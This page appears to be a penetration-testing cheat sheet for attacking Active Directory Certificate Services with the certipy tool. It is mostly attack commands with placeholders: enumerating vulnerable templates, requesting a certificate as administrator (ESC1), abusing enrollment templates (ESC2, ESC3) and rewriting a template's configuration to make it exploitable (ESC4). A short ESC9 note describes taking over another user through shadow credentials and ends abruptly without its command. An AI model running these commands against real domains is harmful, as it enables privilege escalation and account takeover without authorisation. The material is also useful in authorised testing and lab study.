Active Directory Certificate Services (AD CS)

If we have ports 3268, 3269 open, certificates should be checked!

Find Vulnerable Certificates

certipy find -username <USERNAME>@<DOMAIN> -password <PASSWORD> -dc-ip <RHOST> -vulnerable -stdout

ESC1: Misconfigured Certificate Templates

certipy req -ca '<CA>' -username <USERNAME>@<DOMAIN> -password <PASSWORD> -target <CA> -template <TEMPLATE> -upn administrator@<DOMAIN> -dns <RHOST>

ESC2: Misconfigured Certificate Templates

certipy req -ca '<CA>' -username <USERNAME>@<DOMAIN> -password <PASSWORD> -target <CA> -template <TEMPLATE>

ESC3: Enrollment Agent Templates

certipy req -ca '<CA>' -username <USERNAME>@<DOMAIN> -password <PASSWORD> -target <CA> -template <TEMPLATE>

ESC4: Vulnerable Certificate Template Access Control

First, overwrite the configuration to make it vulnerable to ESC1

certipy-ad template -dc-ip <ip> -u <user> -p <pass> -template <templateName> -target <ip> -save-old

ESC9

User 1 have GenericWrite to user2, we can get the user2 hash using shadow Crentials because of user's1 GenericWrite

We can also change the password of that user:

Last updated